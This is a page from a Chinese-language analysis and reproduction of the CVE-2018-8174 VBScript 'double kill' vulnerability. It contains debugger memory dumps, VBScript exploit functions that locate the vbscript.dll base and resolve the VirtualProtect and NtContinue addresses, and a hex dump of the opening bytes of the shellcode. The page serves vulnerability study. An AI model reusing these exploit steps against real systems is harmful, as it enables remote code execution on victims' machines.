CVE-2018-8174双杀漏洞分析复现及防御

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29
0:005> dd [0061e78c-4]
0061e788  6e654934 00000001 0061ff68 02446528  //0061e788保存的本来就是虚函数表的地址0061e798  0244f9a8 00000000 0061ff68 0061fc80
0061e7a8  67352229 0800c9e4 6e654934 00000001
0061e7b8  0061ff68 02446528 0244f9dc 00000000
0061e7c8  0061ff68 0061fc80 67352229 0800c9e4
0061e7d8  6e654934 00000001 0061ff68 02446528
0061e7e8  0244fa50 00000000 0061ff68 0061fc80
0061e7f8  67352229 0800c9e4 6e654934 00000001
以上为得到VBScript.dll中的CScriptEntryPoint对象虚函数表的过程
3.4.2.获取 VBScript.dll 基地址
Function FindMzBase(vtable_address)
    Dim base
    base=vtable_address And &hffff0000  '64k对齐,得到vbscript.dll 基地址
 Alert "FindMzBase "
 IsEmpty(base)
 
    Do While GetUint32(base+&h68)&h206E6920 Or GetUint32(base+&h6c)&h20534F44
        base=base-&h10000    
    Loop
 IsEmpty(base)
    FindMzBase=base
End Function
上面获得的虚函数表的地址是 CScriptEntryPoint 对象的,这个地址属于  VBScript.dll,由于内存的64k对齐,把虚函数表地址后四位置零便得到 VBScript.dll 的基地址。
3.4.3.获取其余关键dll与函数地址
VBScript.dll 导入了 msvcrt.dll , msvcrt.dll 又导入了 kernelbase.dll 与 ntdll.dll ,遍历它们的导入表最终可以从 kernelbase.dll 中获取到 VirtualProtect 函数地址,从 ntdll.dll 中获取 NtContinue 函数地址。
这部分属于PE文件的操作,请允许我不再详细分析。
    '首先得到VBScript地址,其传入的是CScriptEntryPoint虚函数表对象地址
    vbs_base=FindMzBase(GetUint32(vb_adrr))
    Alert "VBScript Base: 0x" & Hex(vbs_base)
 
    '遍历VBScript.dll导入表找到msvcrt.dll基地址
    msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
    Alert "MSVCRT Base: 0x" & Hex(msv_base)
  
     '遍历msvcrt.dll导入表找到kernelbase.dll基地址
    krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
    Alert "KernelBase Base: 0x" & Hex(krb_base)
 
     '遍历msvcrt.dll导入表找到ntdll.dll基地址
    ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")
    Alert "Ntdll Base: 0x" & Hex(ntd_base)
 
     '从kernelbase.dll找到VirtualProtect函数地址
    VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
    Alert "KernelBase!VirtualProtect Address 0x" & Hex(VirtualProtectAddr)
 
     '从ntdll.dll找到 NtContinue 函数地址
    NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")
    Alert "Ntdll!NtContinue Address 0x" & Hex(NtContinueAddr)
3.5 ShellCode的执行
3.5.1.ShellCode位置
源码中的shellcode部分的混淆我没有去理会,我们只要研究他是怎么执行起来的,环境是怎么构造的;
//PoC源码
SetMemValue GetShellcode()
ShellcodeAddr=GetMemValue()+8
IsEmpty(ShellcodeAddr)
//GetShellcode()最终返回的是Shellcode的地址,
//SetMemValue 仍然与将这个字符串赋值到cla4_obj1.mem处
//执行之前spec_int_1处:
//现在保留的是CScriptEntryPoint对象+4的一个值,正常这里是最近的获取的函数的值
0:014> dd 00579aec
00579aec  00000002 00000000 6e610002 00000000
00579afc  0019e90c 025dcd08 00000000 01ad84c9
00579b0c  88000000 00000006 006f0046 0000006f
00579b1c  6d887684 0000606f 0000003e 00000000
00579b2c  00000000 01ad84ce 88000000 00000018
00579b3c  0065006d 00730073 00670061 00530065
00579b4c  00790074 0065006c 00000000 01ad84c3
00579b5c  80000000 688a00ed 0000086e 00579310
//SetMemValue GetShellcode()执行之后
0:006> dd 00579aec
00579aec  00000002 00000000 025d0008 01c03508
00579afc  025e0024 025dc864 00000000 01ad84c9
00579b0c  88000000 00000006 006f0046 0000006f
00579b1c  6d887684 0000606f 0000003e 00000000
00579b2c  00000000 01ad84ce 80000000 000000ac
00579b3c  00000071 00530074 00650068 006c006c
00579b4c  006f0063 00650064 00000000 01ad84c3
00579b5c  88000000 00000004 00300030 00310000
//ShellcodeAddr=GetMemValue()+8
//GetMemValue函数把spec_int_1类型改为long型,并把+08的地址返回
025e0024 就是shellcode的入口,准确的说是在 025e0024+8 的位置 在内存中看一下:
0:006> db 025e0024 l100
//从025e002c开始,前面是00
025e0024  00 00 00 00 00 00 00 00-fc e8 82 00 00 00 60 89  ..............`.
025e0034  e5 31 c0 64 8b 50 30 8b-52 0c 8b 52 14 8b 72 28  .1.d.P0.R..R..r(
025e0044  0f b7 4a 26 31 ff ac 3c-61 7c 02 2c 20 c1 cf 0d  ..J&1..025e0054  01 c7 e2 f2 52 57 8b 52-10 8b 4a 3c 8b 4c 11 78  ....RW.R..J025e0064  e3 48 01 d1 51 8b 59 20-01 d3 8b 49 18 e3 3a 49  .H..Q.Y ...I..:I

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20]  下一页